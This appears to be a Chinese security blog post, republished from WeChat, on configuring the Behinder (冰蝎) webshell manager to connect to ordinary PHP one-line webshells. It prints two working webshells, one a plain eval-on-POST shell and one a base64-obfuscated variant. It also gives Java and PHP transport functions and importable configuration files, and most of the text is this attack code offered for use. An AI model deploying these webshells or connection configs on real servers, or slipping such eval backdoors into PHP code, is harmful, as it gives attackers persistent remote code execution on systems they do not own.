使用冰蝎连接原始版本PHP一句话
2022-11-29 15:38:12 Author: mp.weixin.qq.com(查看原文) 阅读量:19 收藏

写在前面

冰蝎在v4.0版本中引入了自定义传输协议的机制,可以对本地和远程的加解密逻辑进行自定义。冰蝎内置的几个php版本的传输协议都是只支持冰蝎专用的小马,但是网上很多工具的exp都是直接写的普通的一句话木马。

本文给大家介绍一下如何写传输协议,可以直接连接普通的php一句话木马。

原始版一句话

首先看一下一句话木马内容:

<?php eval($_POST["pass"]); ?>

像这种小马,冰蝎通过自定义传输协议是可以直接连接的,先给传输协议起个名字:eval_post,然后本地加密函数这样写:

private byte[] Encrypt(byte[] data) throws Exception
{
String payload = java.net.URLEncoder.encode(new String(data),"UTF-8"); //先对Payload进行URL编码一下
payload = String.format("pass=%s",payload);//因为最原始的一句话没有加解密逻辑,所以直接把Payload封装进Post的Key-Value对就可以
return payload.getBytes();
}

这样本地的Payload就会以pass=xxx的形式发送到服务器。

本地解密函数最简单的可以这样写:

private byte[] Decrypt(byte[] data) throws Exception
{
return data; //客户端收到服务器返回的数据之后,不做任何处理,直接返回。
}

接下来是远程的加密函数,远程加密函数的功能是把服务端上Payload执行的结果在发回客户端之前做一些加密操作,我们这里省事,可以直接不做操作直接返回:

function Encrypt($data)
{
return $data;
}

由于我们没用使用动态生成的一句话木马,所以远程解密函数用不到,直接打个空格留空就行。

接下来连接测试一下:

图 1

图 2

图 3

保存的时候,会提示“一致性校验未通过”,忽略即可。因为冰蝎动态生成的一句话加密和解密是对称的,而这里我们没有用冰蝎动态生成的一句话,所以会有这个提醒,直接忽略,不影响。

图 4

图 5

这个是连接最原始php一句话木马的传输协议,最主要是做个演示,同理也可以做一些自定义的加解密算法来修改传输协议。

Base64加密

再分享一个base64加密版本的:

一句话内容:

<?php
eval(base64_decode(str_replace(array("<",">"),array("+","/"),$_POST["pass"])));
?>

本地加密函数:

private byte[] Encrypt(byte[] data) throws Exception
{
String json="pass=lucky";
json=json.replace("lucky",java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">"));
return json.getBytes();
}

本地解密函数:

private byte[] Decrypt(byte[] data) throws Exception
{
return data;
}

远程php加密函数:

function encrypt($data)
{
return $data;
}

远程php解密函数置空,连接:

图 6

最后分享一下这两个传输协议的配置文件:

eval_post.config

[{"encode":"private byte[] Encrypt(byte[] data) throws Exception\n{\n    String payload = java.net.URLEncoder.encode(new String(data),\"UTF-8\");\n    payload = String.format(\"pass=%s\",payload);\n    return payload.getBytes(); //因为最原始的一句话没有加解密逻辑,所以直接封装个Post的Key-Value对就可以\n}","name":"eval_post","id":39,"decode":"\nprivate byte[] Decrypt(byte[] data) throws Exception\n{\n   return data; //客户端收到服务器返回的数据之后,不做任何处理,直接返回。\n}","type":"jsp"},{"encode":"function Encrypt($data)\n{\n   return $data;\n}","name":"eval_post","id":40,"decode":" ","type":"php"}]

eval_post_base64.config

[{"encode":"private byte[] Encrypt(byte[] data) throws Exception\n{\n    String json=\"pass=lucky\";\n    json=json.replace(\"lucky\",java.util.Base64.getEncoder().encodeToString(data).replace(\"+\",\"<\").replace(\"/\",\">\"));\n    return json.getBytes();\n}","name":"eval_post_base64","id":37,"decode":"private byte[] Decrypt(byte[] data) throws Exception\n{\n   return data;    \n}","type":"jsp"},{"encode":"function encrypt($data)\n{\n   return $data;\n}","name":"eval_post_base64","id":38,"decode":" ","type":"php"}]

把上面的内容另存为xxx.config,然后导入冰蝎即可。


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg2MDY2ODc5MA==&mid=2247483693&idx=1&sn=1c81f1ab2ed8cb152b2699e686204278&chksm=ce239734f9541e22c3dd309474600dd3b1f38dfff4798993f24ba7c4f5996be243064f416bfb&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh